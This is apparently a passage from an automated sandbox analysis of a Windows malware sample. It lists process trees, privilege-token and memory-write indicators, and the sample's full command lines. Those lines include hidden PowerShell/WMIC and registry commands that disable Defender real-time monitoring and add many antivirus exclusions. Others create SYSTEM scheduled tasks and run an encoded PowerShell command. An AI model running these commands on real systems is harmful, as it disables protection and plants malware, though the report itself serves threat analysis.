1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
2332	powershell.exe
2284	powershell.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe
1412	nDgzJqR.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

Processes:

powershell.exeWMIC.exepowershell.EXEpowershell.EXEpowershell.exeWMIC.exepowershell.EXEpowershell.exeWMIC.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	2108	powershell.exe
Token: SeIncreaseQuotaPrivilege	2520	WMIC.exe
Token: SeSecurityPrivilege	2520	WMIC.exe
Token: SeTakeOwnershipPrivilege	2520	WMIC.exe
Token: SeLoadDriverPrivilege	2520	WMIC.exe
Token: SeSystemProfilePrivilege	2520	WMIC.exe
Token: SeSystemtimePrivilege	2520	WMIC.exe
Token: SeProfSingleProcessPrivilege	2520	WMIC.exe
Token: SeIncBasePriorityPrivilege	2520	WMIC.exe
Token: SeCreatePagefilePrivilege	2520	WMIC.exe
Token: SeBackupPrivilege	2520	WMIC.exe
Token: SeRestorePrivilege	2520	WMIC.exe
Token: SeShutdownPrivilege	2520	WMIC.exe
Token: SeDebugPrivilege	2520	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2520	WMIC.exe
Token: SeRemoteShutdownPrivilege	2520	WMIC.exe
Token: SeUndockPrivilege	2520	WMIC.exe
Token: SeManageVolumePrivilege	2520	WMIC.exe
Token: 33	2520	WMIC.exe
Token: 34	2520	WMIC.exe
Token: 35	2520	WMIC.exe
Token: SeDebugPrivilege	2252	powershell.EXE
Token: SeDebugPrivilege	768	powershell.EXE
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	664	WMIC.exe
Token: SeSecurityPrivilege	664	WMIC.exe
Token: SeTakeOwnershipPrivilege	664	WMIC.exe
Token: SeLoadDriverPrivilege	664	WMIC.exe
Token: SeSystemtimePrivilege	664	WMIC.exe
Token: SeBackupPrivilege	664	WMIC.exe
Token: SeRestorePrivilege	664	WMIC.exe
Token: SeShutdownPrivilege	664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	664	WMIC.exe
Token: SeUndockPrivilege	664	WMIC.exe
Token: SeManageVolumePrivilege	664	WMIC.exe
Token: SeDebugPrivilege	1664	powershell.EXE
Token: SeDebugPrivilege	2332	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2740	WMIC.exe
Token: SeSecurityPrivilege	2740	WMIC.exe
Token: SeTakeOwnershipPrivilege	2740	WMIC.exe
Token: SeLoadDriverPrivilege	2740	WMIC.exe
Token: SeSystemtimePrivilege	2740	WMIC.exe
Token: SeBackupPrivilege	2740	WMIC.exe
Token: SeRestorePrivilege	2740	WMIC.exe
Token: SeShutdownPrivilege	2740	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2740	WMIC.exe
Token: SeUndockPrivilege	2740	WMIC.exe
Token: SeManageVolumePrivilege	2740	WMIC.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2140	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2140	WMIC.exe
Token: SeSecurityPrivilege	2140	WMIC.exe
Token: SeTakeOwnershipPrivilege	2140	WMIC.exe
Token: SeLoadDriverPrivilege	2140	WMIC.exe
Token: SeSystemtimePrivilege	2140	WMIC.exe
Token: SeBackupPrivilege	2140	WMIC.exe
Token: SeRestorePrivilege	2140	WMIC.exe
Token: SeShutdownPrivilege	2140	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2140	WMIC.exe
Token: SeUndockPrivilege	2140	WMIC.exe
Token: SeManageVolumePrivilege	2140	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exeInstall.exeInstall.exeforfiles.execmd.exepowershell.exetaskeng.exesfKiDDY.exetaskeng.exe

description	pid	process	target process
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 2968 wrote to memory of 3016	2968	a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 3016 wrote to memory of 2132	3016	Install.exe	Install.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2132 wrote to memory of 2744	2132	Install.exe	forfiles.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2744 wrote to memory of 2680	2744	forfiles.exe	cmd.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2680 wrote to memory of 2108	2680	cmd.exe	powershell.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2108 wrote to memory of 2520	2108	powershell.exe	WMIC.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 2132 wrote to memory of 2932	2132	Install.exe	schtasks.exe
PID 628 wrote to memory of 1728	628	taskeng.exe	sfKiDDY.exe
PID 628 wrote to memory of 1728	628	taskeng.exe	sfKiDDY.exe
PID 628 wrote to memory of 1728	628	taskeng.exe	sfKiDDY.exe
PID 628 wrote to memory of 1728	628	taskeng.exe	sfKiDDY.exe
PID 1728 wrote to memory of 1124	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 1124	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 1124	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 1124	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 2300	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 2300	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 2300	1728	sfKiDDY.exe	schtasks.exe
PID 1728 wrote to memory of 2300	1728	sfKiDDY.exe	schtasks.exe
PID 2256 wrote to memory of 2252	2256	taskeng.exe	powershell.EXE
PID 2256 wrote to memory of 2252	2256	taskeng.exe	powershell.EXE
PID 2256 wrote to memory of 2252	2256	taskeng.exe	powershell.EXE

C:\Users\Admin\AppData\Local\Temp\a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe
"C:\Users\Admin\AppData\Local\Temp\a931321cee3ec87fa67636c1bec5907efbeb18c5e013b9cbe170e5b5c5dfc7d0.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2968

C:\Users\Admin\AppData\Local\Temp\7zS1786.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3016

C:\Users\Admin\AppData\Local\Temp\7zS196A.tmp\Install.exe
.\Install.exe /pzoVrdidkhQz "525403" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2132

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:2744

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:2680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bUVDAOPnPkUhchiViu" /SC once /ST 05:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\sfKiDDY.exe\" q7 /SpNdidCm 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 512
4⤵
- Loads dropped DLL
- Program crash
PID:1732

C:\Windows\system32\taskeng.exe
taskeng.exe {7E53FB74-2F0E-4076-9A3C-12A16EFF1B3F} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:628

C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\sfKiDDY.exe
C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON\QIyULnqRsjUxkcq\sfKiDDY.exe q7 /SpNdidCm 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "geGODPbRO" /SC once /ST 00:59:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1124

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "geGODPbRO"
3⤵
PID:2300

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "geGODPbRO"
3⤵
PID:2396

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:1752

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1520

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:1540

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:696

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gexOPUYzj" /SC once /ST 01:04:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1100

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gexOPUYzj"
3⤵
PID:804

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gexOPUYzj"
3⤵
PID:1180

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
3⤵
PID:2120

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
4⤵
PID:2356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3012

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:664

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2588

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2520

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2552

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2528

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2656

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2636

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2744

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1700

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\WZpWNMsDzSAcKsSA\KWnDXiBt\LvfbgIXdSRSlFCkX.wsf"
3⤵
PID:2640

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\WZpWNMsDzSAcKsSA\KWnDXiBt\LvfbgIXdSRSlFCkX.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:2940

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1644

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2512

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1720

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1812

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2364

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:852

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2632

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:1276

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:2884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:32
4⤵
PID:484

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\MIUMVdEgyTUn" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2508

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2252

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NNMAoTKMcAkAC" /t REG_DWORD /d 0 /reg:64
4⤵
PID:816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bBBSFQQZU" /t REG_DWORD /d 0 /reg:64
4⤵
PID:536

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1612

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rPikKiIbwrQGukIChiR" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2872

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rUfZlqUIdWiU2" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\fHdtCMTPryqSDgVB" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1492

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:32
4⤵
PID:916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\VEEcyYEQYAyIstnON" /t REG_DWORD /d 0 /reg:64
4⤵
PID:2236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1692

C:\Windows\SysWOW64\reg.exe
"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WZpWNMsDzSAcKsSA" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1080

C:\Windows\SysWOW64\schtasks.exe
